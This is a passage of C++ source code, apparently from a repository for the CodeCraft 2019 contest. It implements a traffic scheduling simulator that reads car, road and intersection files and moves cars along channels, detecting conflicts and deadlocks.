EndDEBUG 1 //#define TagDEBUG 1 //#define conflictDEBUG 1 //#define InnerDEBUG 1 //#define CheckReadFun 1 //#define CheckUpdateFun 1 using namespace std; typedef long long ll; const int maxn = 1e6 + 10; const int INF = 0x3f3f3f3f; const int waitingStatus = 1; const int endStatus = 2; unordered_map<int, int> car_map; unordered_map<int, int> road_map; unordered_map<int, int> cross_map; int car_index, car_hashBack[maxn]; int road_index, road_hashBack[maxn]; int cross_index, cross_hashBack[maxn]; int dirHash[4][4] = { {-1, LEFT, STRAIGHT, RIGHT}, {RIGHT, -1, LEFT, STRAIGHT}, {STRAIGHT, RIGHT, -1, LEFT}, {LEFT, STRAIGHT, RIGHT, -1} }; int dirCheck[4][4][2] = { {{-1, -1}, {3, 2}, {3, 1}, {1, 2}}, {{2, 3}, {-1, -1}, {0, 3}, {0, 2}}, {{3, 1}, {3, 0}, {-1, -1}, {1, 0}}, {{2, 1}, {0, 2}, {0, 1}, {-1, -1}} }; int systemTime = 0; // system scheduling time int TSum = 0, TSumPri = 0, lastPriCarArriveTime = 0, firstPriCarStartTime = 0; int carsMaxSpeed = 0, carsMinSpeed = INF, priCarMaxSpeed = 0, priCarMinSpeed = INF, priCarsCounter = 0; int carsFirstTime = INF, carsLastTime = 0, priCarsFirstTime = INF, priCarsLastTime = 0; int priCarLastArrive = 0; int totTimeUsed = 0; int totCarCounter = 0; int onRoadCarsCounter = 0; int waitingCarsCounter = 0; int lastWaitingCarsCounter = 0; int inGarageCarsCounter = 0; bool isDeadLock = false; bool isAllCarsReach = false; set<int> src, dst, priSrc, priDst; struct Car; struct Road; struct Cross; struct Car { /* Cars' argv about itself*/ int id; int from; // src cross id int to; // dst cross id int speed; int status; int planTime; int RealStartTime; bool isPriority; bool isPreSet; /* Cars' argv about roads*/ int curRoadId; // currently car is on which road int curChannelId; // currently car is on which channel int curPosition; // currently car is where on the oad int curPathId; // current path index int nextCrossId; // car will be which cross next; vector<int> path; // ans of paths Car() { status = curPathId = 0; id = from = to = speed = planTime = RealStartTime = curRoadId = curChannelId = curPosition = nextCrossId = -1; } Car(const int &_id, const int &_from, const int &_to, const int &_speed, const int &_planTime, const bool &_isPriority, const bool &_isPreSet) { id = _id; to = _to; nextCrossId = from = _from; speed = _speed; planTime = _planTime; status = curPathId = 0; isPriority = _isPriority; isPreSet = _isPreSet; RealStartTime = curRoadId = curChannelId = curPosition = -1; } bool operator<(const Car &x) const { if (RealStartTime != x.RealStartTime) return RealStartTime < x.RealStartTime; return id < x.id; } void curMessage() { cout << car_hashBack[id] << " " << road_hashBack[curRoadId] << " " << curChannelId << " " << curPosition << " " << curPathId << " " << cross_hashBack[nextCrossId] << endl; } void output() { cout << car_hashBack[id] << " " << cross_hashBack[from] << " " << cross_hashBack[to] << " " << speed << " " << planTime << " " << planTime << endl; } void reset() { nextCrossId = from; status = curPathId = 0; curRoadId = curChannelId = curPosition = -1; } int nextRoadId() { if (curPathId + 1 == path.size()) return -1; return path[curPathId + 1]; } void outAnswer() { cout << car_hashBack[id] << " "; for (int i = 0; i < path.size(); ++i) { cout << road_hashBack[path[i]] << " "; } cout << endl; } void updateNextCrossId(); void updateMessage(const int &_curRoadID, const int &_curChannelID, const int &_curPosition, const int &_curPathID); }; struct TuringUnit { int carID, score; bool operator<(const TuringUnit &rhs) const; TuringUnit(const int &_carID, const int &_score) { carID = _carID; score = _score; } }; struct Road { int id; int length; int speed; int channelNum; int from; // src cross id int to; // dst cross id bool isDuplex; /* Appointment * RoadCars[0 ~ channelNum/2 - 1] corresponding to (from -> to) direction * RoadCars[channelNum/2 ~ channelNum -1] corresponding to (to -> from) direction if isDuplex is true * */ vector<list<int> > RoadCars; vector<int> carInitList[2]; priority_queue<TuringUnit> turing[2]; Road() {} Road(const int &_id, const int &_length, const int &_speed, const int &_channelNum, const int &_from, const int &_to, const bool &_isDuplex) { id = _id; length = _length; speed = _speed; channelNum = _channelNum; from = _from; to = _to; isDuplex = _isDuplex; if (isDuplex) channelNum = channelNum << 1; /* initialization for cars' vector*/ carInitList[0].clear(); carInitList[1].clear(); for (int i = 0; i < channelNum; ++i) { RoadCars.push_back(list<int>()); } } int getFrontCarId(const int &channel, const int &backCarId) { if (RoadCars[channel].size() == 1) return -1; // the first car int frontCarId = -1; for (auto &x : RoadCars[channel]) { if (x == backCarId) break; frontCarId = x; } return frontCarId; } list<int>::iterator removeCarFromRoadCars(const int &channelId, const int &carId) { for (list<int>::iterator it = RoadCars[channelId].begin(); it != RoadCars[channelId].end(); ++it) { if (*it == carId) { return RoadCars[channelId].erase(it); } } // return false; } void output() { cout << road_hashBack[id] << " " << length << " " << speed << " " << channelNum << " " << cross_hashBack[from] << " " << cross_hashBack[to] << " " << isDuplex << endl; } void constructSchedulingUnit(); inline void addToCarInitList(Car &curCar, const int &index) { carInitList[index].push_back(curCar.id); } inline void addToRoadCar(Car &curCar, const int &channelID) { RoadCars[channelID].push_back(curCar.id); } void arrangeOnRoad(bool isPriorityOnly, const int &index); int arrangeJudge(Car &, const int &); int calCarScore(Car &curCar); void driveCurrentRoad(); void driveCurrentChannel(Cross &curCross, const int &channelID); bool driveCarAndTag(Car &curCar, Car &frontCar, const int &isFirst, const int &index); bool moveToNextRoad(Car &curCar, Cross &curCross, int & optionType); void forceCheck(); }; struct Cross { int id; int order[4]; int connect[4]; // 0 up / 1 right / 2 down / 3 left unordered_map<int, int> hashPosition; void output() { cout << cross_hashBack[id] << " "; for (int i = 0; i < 4; ++i) cout << (connect[i] == -1 ? -1 : road_hashBack[connect[i]]) << " "; cout << endl; } void update() { hashPosition.clear(); for (int i = 0; i < 4; ++i) { if (connect[i] != -1) { hashPosition[connect[i]] = i; } } } inline int get_Direction(const int nextRoadId) { for (int i = 0; i < 4; ++i) { if (connect[i] == nextRoadId) return i; } } inline int get_Road(const int &DIR) { return connect[DIR]; } inline int get_Position(const int &roadId) { return hashPosition.count(roadId) == 0 ? -1 : hashPosition[roadId]; } void scheduling(); bool conflict(Car &curCar, Road &curRoad); bool conflictJudge(Car &curCar, const int &dirToCheck, const int &curCarDir, const int &curCarNextDir, const int &cd); }; vector<Car> cars, cars_tmp; vector<Road> roads, roads_tmp; vector<Cross> crosses, crosses_tmp; set<int> isCarAdded; set<int> deadLockCrossId; set<int> deadLockRoadId; vector<vector<int> > crossOrder; unordered_map<int, vector<pair<int, int> > > roadOrder; void updateCrossOrder() { vector<int> &cur = crossOrder[systemTime - 1]; for (int i = 0; i < crosses.size(); ++i) { Cross &curCross = crosses[i]; int tot = 0; for (int j = 0; j < 4; ++j) { if (curCross.connect[j] == -1) continue; else { Road &curRoad = roads[curCross.connect[j]]; if (curRoad.to == curCross.id) tot += curRoad.turing[0].size(); else tot += curRoad.turing[1].size(); } } cur.push_back(tot); } } void updateRoadOrder(const int carId, const int roadId, bool isin) { auto &curVec = roadOrder[carId]; if (isin) { assert(int(curVec.size()) % 2 == 0); curVec.push_back(make_pair(roadId, systemTime)); } else { assert(int(curVec.size()) % 2 == 1); curVec.push_back(make_pair(roadId, systemTime)); } } void UpdateMessage(Car &curCar); void Car::updateNextCrossId() { nextCrossId = roads[path[curPathId]].from == nextCrossId ? roads[path[curPathId]].to : roads[path[curPathId]].from; } void Car::updateMessage(const int &_curRoadID, const int &_curChannelID, const int &_curPosition, const int &_curPathID) { curRoadId = _curRoadID; curChannelId = _curChannelID; curPosition = _curPosition; curPathId = _curPathID; status = endStatus; updateNextCrossId(); } int Road::calCarScore(Car &curCar) { if (isDuplex) { int offset = (curCar.curChannelId >= channelNum / 2) ? (channelNum / 2) : 0; return (curCar.curPosition - 1) * (channelNum / 2) + (curCar.curChannelId - offset); } else { return (curCar.curPosition - 1) * channelNum + curCar.curChannelId; } } bool Road::moveToNextRoad(Car &curCar, Cross &curCross, int & optionType) { if (curCar.curPathId + 1 == curCar.path.size()) { curCar.status = endStatus; totTimeUsed += systemTime - curCar.planTime; --onRoadCarsCounter; --waitingCarsCounter; ++inGarageCarsCounter; updateRoadOrder(car_hashBack[curCar.id], road_hashBack[curCar.path[curCar.curPathId]], false); removeCarFromRoadCars(curCar.curChannelId, curCar.id); #ifdef EndDEBUG cout << "[End] carID: " << car_hashBack[curCar.id] << endl; #endif UpdateMessage(curCar); return true; } else { Road &nextRoad = roads[curCar.nextRoadId()]; int st = -1, ed = -1, moveDistance = min(curCar.speed, nextRoad.speed) - (curCar.curPosition - 1); int carPathID = curCar.curPathId, carChannelID = curCar.curChannelId, carRoadID = curCar.curRoadId, carPosition = curCar.curPosition; if (moveDistance <= 0) { carPosition = 1; #ifdef M2nxtR cout << "[M2nxtR] carID " << car_hashBack[curCar.id] << " Road " << road_hashBack[id] << " move to Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); --waitingCarsCounter; return true; } if (nextRoad.isDuplex) if (nextRoad.from == curCross.id) st = 0, ed = nextRoad.channelNum / 2; else st = nextRoad.channelNum / 2, ed = nextRoad.channelNum; else st = 0, ed = nextRoad.channelNum; for (int curChannelID = st; curChannelID != ed; ++curChannelID) { if (nextRoad.RoadCars[curChannelID].empty()) { removeCarFromRoadCars(curCar.curChannelId, curCar.id); carRoadID = nextRoad.id; carPosition = nextRoad.length - moveDistance + 1; carChannelID = curChannelID; ++carPathID; #ifdef M2nxtR cout << "[M2nxtR] carID " << car_hashBack[curCar.id] << ", from Road " << road_hashBack[id] << " Pos " << curCar.curPosition << " to Road " << road_hashBack[carRoadID] << " Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); nextRoad.addToRoadCar(curCar, carChannelID); --waitingCarsCounter; optionType = 1; return true; } else { Car &lastCar = cars[nextRoad.RoadCars[curChannelID].back()]; if (moveDistance >= nextRoad.length - lastCar.curPosition + 1) { if (lastCar.status == waitingStatus) { #ifdef M2nxtR cout << "[M2nxtR] carID " << car_hashBack[curCar.id] << ", on Road " << road_hashBack[id] << " WAIT, cause frontCarID" << car_hashBack[lastCar.id] << endl; #endif return false; } else { if (lastCar.curPosition == nextRoad.length) continue; else { removeCarFromRoadCars(curCar.curChannelId, curCar.id); carRoadID = nextRoad.id; carPosition = lastCar.curPosition + 1; carChannelID = curChannelID; ++carPathID; #ifdef M2nxtR cout << "[M2nxtR] carID " << car_hashBack[curCar.id] << ", from Road " << road_hashBack[id] << " Pos " << curCar.curPosition << " to Road " << road_hashBack[carRoadID] << " Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); nextRoad.addToRoadCar(curCar, carChannelID); --waitingCarsCounter; optionType = 1; return true; } } } else { removeCarFromRoadCars(curCar.curChannelId, curCar.id); carRoadID = nextRoad.id; carPosition = nextRoad.length - moveDistance + 1; carChannelID = curChannelID; ++carPathID; #ifdef M2nxtR cout << "[M2nxtR] carID " << car_hashBack[curCar.id] << ", from Road " << road_hashBack[id] << " Pos " << curCar.curPosition << " to Road " << road_hashBack[carRoadID] << " Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); nextRoad.addToRoadCar(curCar, carChannelID); --waitingCarsCounter; optionType = 1; return true; } } } carPosition = 1; #ifdef M2nxtR cout << "[M2nxtR] carID " << car_hashBack[curCar.id] << " Road " << road_hashBack[id] << " move to Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); --waitingCarsCounter; return true; } } int Road::arrangeJudge(Car &curCar, const int &curChannelID) { /** * @brief * @param curCar * @param curChannelID * * @return * <-1> next channelID is full * <0> wait * <1> arrange curCar to its place */ if (RoadCars[curChannelID].empty()) { ++onRoadCarsCounter; curCar.updateMessage(id, curChannelID, length - min(curCar.speed, speed) + 1, 0); RoadCars[curChannelID].push_back(curCar.id); return 1; } else { Car &frontCar = cars[RoadCars[curChannelID].back()]; if (min(curCar.speed, speed) >= length - frontCar.curPosition + 1) { if (frontCar.status == endStatus) { if (frontCar.curPosition == length) return -1; ++onRoadCarsCounter; curCar.updateMessage(id, curChannelID, frontCar.curPosition + 1, 0); RoadCars[curChannelID].push_back(curCar.id); return 1; } else return 0; } else { ++onRoadCarsCounter; curCar.updateMessage(id, curChannelID, length - min(curCar.speed, speed) + 1, 0); RoadCars[curChannelID].push_back(curCar.id); return 1; } } } void Road::arrangeOnRoad(bool isPriorityOnly, const int &index) { for (auto curCarID = carInitList[index].begin(); curCarID != carInitList[index].end();) { if (isPriorityOnly) { if (cars[*curCarID].isPriority && cars[*curCarID].RealStartTime > systemTime) return; if (!cars[*curCarID].isPriority) return; } else { if (cars[*curCarID].isPriority && cars[*curCarID].RealStartTime > systemTime) { ++curCarID; continue; } if (!cars[*curCarID].isPriority && cars[*curCarID].RealStartTime > systemTime) return; } int st = 0, ed = 0; if (isDuplex) if (index == 0) st = 0, ed = channelNum / 2; else st = channelNum / 2, ed = channelNum; else st = 0, ed = channelNum; int returnValue = -1; for (int curChannelID = st; curChannelID != ed; ++curChannelID) { returnValue = arrangeJudge(cars[*curCarID], curChannelID); if (returnValue == 1) { #ifdef OnRoadDEBUG cout << "[OnRoad] carID: " << car_hashBack[cars[*curCarID].id] << " roadID: " << road_hashBack[cars[*curCarID].curRoadId] << " chan: " << cars[*curCarID].curChannelId << " pos: " << cars[*curCarID].curPosition << endl; #endif updateRoadOrder(car_hashBack[*curCarID], road_hashBack[cars[*curCarID].curRoadId], true); curCarID = carInitList[index].erase(curCarID); break; } else if (returnValue == 0) { break; } else if (returnValue == -1) continue; } if (returnValue == 0 || returnValue == -1) ++curCarID; } } bool Road::driveCarAndTag(Car &curCar, Car &frontCar, const int &isFirst, const int &index) { bool returnValue = true; // curCar.curMessage(); if (isFirst) { if (curCar.curPosition - 1 < min(curCar.speed, speed)) { curCar.status = waitingStatus; turing[index].push(TuringUnit(curCar.id, calCarScore(curCar))); returnValue = false; #ifdef TagDEBUG cout << "[Tags] CarID " << car_hashBack[curCar.id] << ", RoadID " << road_hashBack[curCar.curRoadId] << ", Chan " << curCar.curChannelId <<", Pos " << curCar.curPosition << ", tag WAIT cause TURING" << endl; #endif // return false; // } } else { curCar.curPosition -= min(curCar.speed, speed); curCar.status = endStatus; // return true; } } else { if (curCar.curPosition - frontCar.curPosition <= min(curCar.speed, speed)) { if (frontCar.status == waitingStatus) { curCar.status = waitingStatus; returnValue = false; #ifdef TagDEBUG cout << "[Tags] CarID " << car_hashBack[curCar.id] << ", RoadID " << road_hashBack[curCar.curRoadId] << ", Chan " << curCar.curChannelId << ", Pos " << curCar.curPosition << ", tag WAIT cause FRONTCAR WAIT" << endl; #endif // return false; } else { curCar.curPosition = frontCar.curPosition + 1; curCar.status = endStatus; // return true; } } else { curCar.curPosition -= min(curCar.speed, speed); curCar.status = endStatus; // return true; } } if (returnValue) { #ifdef TagDEBUG cout << "[Tags] CarID " << car_hashBack[curCar.id] << ", RoadID " << road_hashBack[curCar.curRoadId] << ", Chan " << curCar.curChannelId << ", move to Pos " << curCar.curPosition << ", tag END" << endl; #endif } else ++waitingCarsCounter; return returnValue; } void Road::driveCurrentChannel(Cross &curCross, const int &channelID) { int carPathID, carChannelID, carRoadID, carPosition; if (RoadCars[channelID].empty()) return; list<int>::iterator curCarID = RoadCars[channelID].begin(), frontCarID = RoadCars[channelID].begin(); for (; curCarID != RoadCars[channelID].end(); ++curCarID) { Car &curCar = cars[*curCarID]; Car &frontCar = cars[*frontCarID]; // cout << car_hashBack[curCar.id] << " " << car_hashBack[frontCar.id] << " " << endl; carPathID = curCar.curPathId, carChannelID = curCar.curChannelId, carRoadID = curCar.curRoadId, carPosition = curCar.curPosition; if (curCar.status == waitingStatus) { if (frontCar.status == waitingStatus) { if (curCar.curPosition - 1 < min(curCar.speed, speed)) { int index = to == curCross.id ? 0 : 1; turing[index].push(TuringUnit(curCar.id, calCarScore(curCar))); #ifdef InnerDEBUG cout << "[Inner] CarID " << car_hashBack[curCar.id] << ", Road " << road_hashBack[id] << " Turing, return. " << endl; #endif return; } else { carPosition -= min(curCar.speed, speed); #ifdef InnerDEBUG cout << "[Inner] CarID " << car_hashBack[curCar.id] << ", Road " << road_hashBack[id] << ", move to Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); --waitingCarsCounter; } } else { int moveDis = min(min(curCar.speed, speed), curCar.curPosition - frontCar.curPosition - 1); carPosition -= moveDis; #ifdef InnerDEBUG cout << "[Inner] CarID " << car_hashBack[curCar.id] << ", Road " << road_hashBack[id] << ", move to Pos " << carPosition << endl; #endif curCar.updateMessage(carRoadID, carChannelID, carPosition, carPathID); --waitingCarsCounter; } } else { if (curCarID == RoadCars[channelID].begin()) continue; else break; } frontCarID = curCarID; } } void Road::driveCurrentRoad() { list<int>::iterator it, frontIt; // cout << "curRoad: " << road_hashBack[id] << endl; if (isDuplex) { for (int curChannelID = 0; curChannelID < channelNum / 2; ++curChannelID) { if (RoadCars[curChannelID].empty()) continue; bool isFirst = true; frontIt = RoadCars[curChannelID].begin(); for (it = RoadCars[curChannelID].begin(); it != RoadCars[curChannelID].end(); ++it) { if (isFirst) { driveCarAndTag(cars[*it], cars[*frontIt], isFirst, 0); isFirst = false; } else driveCarAndTag(cars[*it], cars[*frontIt], isFirst, 0); frontIt = it; } } for (int curChannelID = channelNum / 2; curChannelID < channelNum; ++curChannelID) { if (RoadCars[curChannelID].empty()) continue; bool isFirst = true; frontIt = RoadCars[curChannelID].begin(); for (it = RoadCars[curChannelID].begin(); it != RoadCars[curChannelID].end(); ++it) { if (isFirst) { driveCarAndTag(cars[*it], cars[*frontIt], isFirst, 1); isFirst = false; } else driveCarAndTag(cars[*it], cars[*frontIt], isFirst, 1); frontIt = it; } } } else { for (int curChannelID = 0; curChannelID < channelNum; ++curChannelID) { if (RoadCars[curChannelID].empty()) continue; bool isFirst = true; frontIt = RoadCars[curChannelID].begin(); for (it = RoadCars[curChannelID].begin(); it != RoadCars[curChannelID].end(); ++it) { if (isFirst) { driveCarAndTag(cars[*it], cars[*frontIt], isFirst, 0); isFirst = false; } else driveCarAndTag(cars[*it], cars[*frontIt], isFirst, 0); frontIt = it; } } } } void Road::forceCheck() { bool isError = false; if (!turing[0].empty() && !turing[1].empty()) { cout << " turing Error! RoadID:" << road_hashBack[id] << " turing NOT empty!" << endl; if (!turing[0].empty()) { cout << "truing[0]: " << endl; while (!turing[0].empty()) { TuringUnit it = turing[0].top(); turing[0].pop(); cout << car_hashBack[it.carID] << endl; } } if (!turing[1].empty()) { cout << "truing[1]: " << endl; while (!turing[1].empty()) { TuringUnit it = turing[1].top(); turing[1].pop(); cout << car_hashBack[it.carID] << endl; } } isError = true; } for (auto &channel:RoadCars) { if (RoadCars.empty()) continue; auto back = channel.begin(), front = channel.begin(); for (; back != channel.end(); ++back) { if (cars[*back].status == waitingStatus) { isError = true; cout << "Status Error! RoadID: " << road_hashBack[id] << "carID " << car_hashBack[*back] << " ChannelID " << cars[*back].curChannelId << endl; } if (cars[*back].curPosition <= 0 || cars[*back].curPosition > length) { isError = true; cout << "Position out of bounds! Error! RoadID: " << road_hashBack[id] << "carID " << car_hashBack[*back] << " ChannelID " << cars[*back].curChannelId << " Position " << cars[*back].curPosition << endl; } if (*back != *front) { if (cars[*back].curPosition <= cars[*front].curPosition) { isError = true; cout << "Position Error! RoadID: " << road_hashBack[id] << " frontCarID " << car_hashBack[*front] << " Position " << cars[*front].curPosition << " backCarID " << car_hashBack[*back] << " Position " << cars[*back].curPosition << endl; } } front = back; } } if (isError) exit(2420); } bool TuringUnit::operator<(const TuringUnit &rhs) const { if (cars[carID].isPriority == cars[rhs.carID].isPriority) return score > rhs.score; return cars[carID].isPriority < cars[rhs.carID].isPriority; } bool Cross::conflictJudge(Car &curCar, const int &dirToCheck, const int &curCarDir, const int &curCarNextDir, const int &cd) { if (connect[dirToCheck] == -1) return false; else { const Road &targetRoad = roads[connect[dirToCheck]]; int index = id == targetRoad.to ? 0 : 1; if (targetRoad.turing[index].empty()) { return false; } else { Car &targetRoadFirstCar = cars[targetRoad.turing[index].top().carID]; int dir = -1, curDir = -1, nextDir = -1; curDir = get_Direction(targetRoadFirstCar.curRoadId); if (targetRoadFirstCar.curPathId + 1 == targetRoadFirstCar.path.size()) { nextDir = (curDir + 2) % 4; dir = STRAIGHT; } else { const Road &nextRoad = roads[targetRoadFirstCar.nextRoadId()]; nextDir = get_Direction(nextRoad.id); dir = dirHash[curDir][nextDir]; } if (curCarNextDir != nextDir) return false; if (curCar.isPriority > targetRoadFirstCar.isPriority) return false; else if (curCar.isPriority < targetRoadFirstCar.isPriority) return true; else { if (curCarDir == STRAIGHT) return false; else if (curCarDir == LEFT) return dir == STRAIGHT; else if (curCarDir == RIGHT) return true; } } } } bool Cross::conflict(Car &curCar, Road &curRoad) { int dir = -1, dirToCheck = -1, curDir = -1, nextDir = -1; if (curCar.curPathId + 1 == curCar.path.size()) { curDir = get_Direction(curRoad.id); nextDir = (curDir + 2) % 4; dir = STRAIGHT; } else { Road &nextRoad = roads[curCar.nextRoadId()]; curDir = get_Direction(curRoad.id), nextDir = get_Direction(nextRoad.id); dir = dirHash[curDir][nextDir]; } assert(dir >= 1 && dir <= 3); string tips = ""; if (dir == STRAIGHT) tips = "STRAIGHT"; else if (dir == LEFT) tips = "LEFT"; else if (dir == RIGHT) tips = "RIGHT"; for (int cd = 0; cd < 2; ++cd) { dirToCheck = dirCheck[curDir][nextDir][cd]; if (dirToCheck == -1) break; if (conflictJudge(curCar, dirToCheck, dir, nextDir, cd)) { #ifdef conflictDEBUG cout << "[Conflict] CarID " << car_hashBack[curCar.id] << " go " << tips << " failed," << endl; #endif return true; } } #ifdef conflictDEBUG cout << "[NConflict] CarID " << car_hashBack[curCar.id] << " go " << tips << endl; #endif return false; } void Cross::scheduling() { // cout << "curCross" << cross_hashBack[id] << endl; for (int i = 0; i < 4; ++i) { if (order[i] == -1) continue; else { Road &curRoad = roads[order[i]]; // cout << "curRoad" << road_hashBack[curRoad.id] << endl; int index = curRoad.to == id ? 0 : 1; while (!curRoad.turing[index].empty()) { Car &curCar = cars[curRoad.turing[index].top().carID]; int curChannelID = curCar.curChannelId; if (conflict(curCar, curRoad)) break; int optionType = 0; if (curRoad.moveToNextRoad(curCar, *this, optionType)) { // cout << "test1" << endl; // cout << curCar.curPathId << endl; if(optionType == 1) { updateRoadOrder(car_hashBack[curCar.id], road_hashBack[curCar.path[curCar.curPathId - 1]], false); updateRoadOrder(car_hashBack[curCar.id], road_hashBack[curCar.path[curCar.curPathId]], true); } // cout << "test2" << endl; curRoad.turing[index].pop(); curRoad.driveCurrentChannel(*this, curChannelID); if(curRoad.isDuplex || id == curRoad.to) { int initListID = id == curRoad.to ? 0 : 1; if(!curRoad.carInitList[initListID].empty()) curRoad.arrangeOnRoad(true, index); } } else break; } } } } inline bool cmp_carHash(const Car &C1, const Car &C2) { return C1.id < C2.id; } inline bool cmp_roadHash(const Road &R1, const Road &R2) { return R1.id < R2.id; } inline bool cmp_crossHash(const Cross &C1, const Cross &C2) { return C1.id < C2.id; } inline bool cmp_carInitList(int &C1, int &C2) { if (cars[C1].isPriority == cars[C2].isPriority) if (cars[C1].RealStartTime == cars[C2].RealStartTime) return cars[C1].id < cars[C2].id; else return cars[C1].RealStartTime < cars[C2].RealStartTime; return cars[C1].isPriority > cars[C2].isPriority; } void read_car(const string &path) { ifstream in(path); string info; char ch; int id, from, to, speed, planTime, isPriority, isPreSet; getline(in, info); // ignore the first line of input cars.clear(); while (getline(in, info)) { stringstream car_stream(info); car_stream >> ch; car_stream >> id; car_stream >> ch; car_stream >> from; car_stream >> ch; car_stream >> to; car_stream >> ch; car_stream >> speed; car_stream >> ch; car_stream >> planTime; car_stream >> ch; car_stream >> isPriority; car_stream >> ch; car_stream >> isPreSet; cars_tmp.push_back(Car(id, from, to, speed, planTime, isPriority, isPreSet)); } sort(cars_tmp.begin(), cars_tmp.end(), cmp_carHash); car_index = 0; for (auto &x : cars_tmp) { car_map[x.id] = car_index; car_hashBack[car_index] = x.id; x.id = car_index++; cars.push_back(x); } cars_tmp.clear(); } void read_road(const string &path) { ifstream in(path); string info; road_map[-1] = -1; char ch; int id, length, speed, channelnum, from, to; bool isDuplex; getline(in, info); // ignore the first line of input roads.clear(); while (getline(in, info)) { stringstream road_stream(info); road_stream >> ch; road_stream >> id; road_stream >> ch; road_stream >> length; road_stream >> ch; road_stream >> speed; road_stream >> ch; road_stream >> channelnum; road_stream >> ch; road_stream >> from; road_stream >> ch; road_stream >> to; road_stream >> ch; road_stream >> isDuplex; roads_tmp.push_back(Road(id, length, speed, channelnum, from, to, isDuplex)); } sort(roads_tmp.begin(), roads_tmp.end(), cmp_roadHash); road_index = 0; for (auto &x : roads_tmp) { road_map[x.id] = road_index; road_hashBack[road_index] = x.id; x.id = road_index++; roads.push_back(x); } roads_tmp.clear(); } void read_cross(const string &path) { ifstream in(path); string info; char ch; getline(in, info); // ignore the first line of input crosses.clear(); while (getline(in, info)) { Cross tmp; stringstream cross_steam(info); cross_steam >> ch; cross_steam >> tmp.id; cross_steam >> ch; for (int i = 0; i < 4; ++i) { cross_steam >> tmp.connect[i]; tmp.connect[i] = road_map[tmp.connect[i]]; tmp.order[i] = tmp.connect[i]; tmp.hashPosition[tmp.connect[i]] = i; cross_steam >> ch; // read no use char } sort(tmp.order, tmp.order + 4); tmp.update(); crosses_tmp.push_back(tmp); } sort(crosses_tmp.begin(), crosses_tmp.end(), cmp_crossHash); cross_index = 0; for (auto &x : crosses_tmp) { cross_map[x.id] = cross_index; cross_hashBack[cross_index] = x.id; x.id = cross_index++; crosses.push_back(x); } crosses_tmp.clear(); } void read_presetAnswer(const string &path) { ifstream in(path); string info; char ch; getline(in, info); // ignore the first line of input int tmp_roadId, tmp_carId, tmp_startTime, carID; while (getline(in, info)) { stringstream answer_stream(info); answer_stream >> ch; // scan '(' answer_stream >> tmp_carId; answer_stream >> ch; // scan ',' answer_stream >> tmp_startTime; carID = car_map[tmp_carId]; cars[carID].RealStartTime = tmp_startTime; cars[carID].path.clear(); while (true) { answer_stream >> ch; // scan ',' or ')' if (ch == ')') break; // break when scan ')' answer_stream >> tmp_roadId; cars[carID].path.push_back(road_map[tmp_roadId]); } } } void update_RoadCar_makeMap() { // [Done] update Road [from, to] to hash & update Car [from, to] to hash for (auto &x:cars) { x.from = cross_map[x.from]; x.to = cross_map[x.to]; x.nextCrossId = cross_map[x.nextCrossId]; } for (auto &x:roads) { x.from = cross_map[x.from]; x.to = cross_map[x.to]; } } void UpdateMessage(Car &curCar) { TSum += systemTime - curCar.planTime; if (curCar.isPriority) { TSumPri += systemTime - curCar.planTime; priCarLastArrive = max(priCarLastArrive, systemTime); } } void deadLockMessages() { deadLockCrossId.clear(); deadLockRoadId.clear(); for (auto &cross : crosses) { for (int i = 0; i < 4; ++i) { if (cross.order[i] == -1) continue; auto &road = roads[cross.order[i]]; int index = road.to == cross.id ? 0 : 1; if (!road.turing[index].empty()) { deadLockCrossId.insert(cross_hashBack[cross.id]); deadLockRoadId.insert(road_hashBack[road.id]); } } } } void modifyCar(int carId, const int &realStarTime, vector<int> &path) { carId = car_map[carId]; isCarAdded.insert(carId); Car &curCar = cars[carId]; curCar.RealStartTime = realStarTime; curCar.path.clear(); for (int i = 0; i < path.size(); ++i) curCar.path.push_back(road_map[path[i]]); } void reset() { if (isDeadLock) { for (auto &road:roads) { while (!road.turing[0].empty()) road.turing[0].pop(); while (!road.turing[1].empty()) road.turing[1].pop(); road.carInitList[0].clear(); road.carInitList[1].clear(); for (auto &channel:road.RoadCars) channel.clear(); } } for (auto &x : crossOrder) x.clear(); for (auto &x : roadOrder) x.second.clear(); for (auto &car : cars) { car.reset(); roadOrder[car_hashBack[car.id]] = vector<pair<int, int> >(); } totCarCounter = isCarAdded.size(); systemTime = inGarageCarsCounter = 0; onRoadCarsCounter = lastWaitingCarsCounter = waitingCarsCounter = 0; isAllCarsReach = isDeadLock = false; for (auto &curCar : cars) { if (isCarAdded.count(curCar.id)) { Road &firstRoad = roads[curCar.path.front()]; int index = firstRoad.from == curCar.from ? 0 : 1; firstRoad.addToCarInitList(curCar, index); } } for (auto &curRoad : roads) { if (!curRoad.carInitList[0].empty()) sort(curRoad.carInitList[0].begin(), curRoad.carInitList[0].end(), cmp_carInitList); if (!curRoad.carInitList[1].empty()) sort(curRoad.carInitList[1].begin(), curRoad.carInitList[1].end(), cmp_carInitList); } } void run() { crossOrder.push_back(vector<int>()); while (true) { ++systemTime; //cout << systemTime << endl; crossOrder.push_back(vector<int>()); for (auto &road:roads) { road.driveCurrentRoad(); } for (auto &road:roads) { road.arrangeOnRoad(true, 0); road.arrangeOnRoad(true, 1); } lastWaitingCarsCounter = waitingCarsCounter; updateCrossOrder(); while (true) { if (waitingCarsCounter == 0) break; for (auto &cross:crosses) cross.scheduling(); if (lastWaitingCarsCounter == waitingCarsCounter) { isDeadLock = true; break; } else lastWaitingCarsCounter = waitingCarsCounter; } if (isDeadLock) { cout << "DeadLock" << endl; deadLockMessages(); break; } // for(auto & road:roads) road.forceCheck(); for (auto &road:roads) { road.arrangeOnRoad(false, 0); road.arrangeOnRoad(false, 1); } if (inGarageCarsCounter == totCarCounter) { isAllCarsReach = true; break; } } } } //read_car("car.txt"); //read_road("road.txt"); //read_cross("cross.txt"); //read_presetAnswer("presetAnswer.txt"); //update_RoadCar_makeMap(); //reset() //run() //modifycar()
f4da82fe25d1b354794479c902f0f3249c719fa0
[ "Markdown", "C++" ]
3
Markdown
Feynman1999/codecraft2019
b8470238994d846f12fc298b690f12f6ce622119
55b46687aad323826e75f5963bea1749e00dd970
refs/heads/master
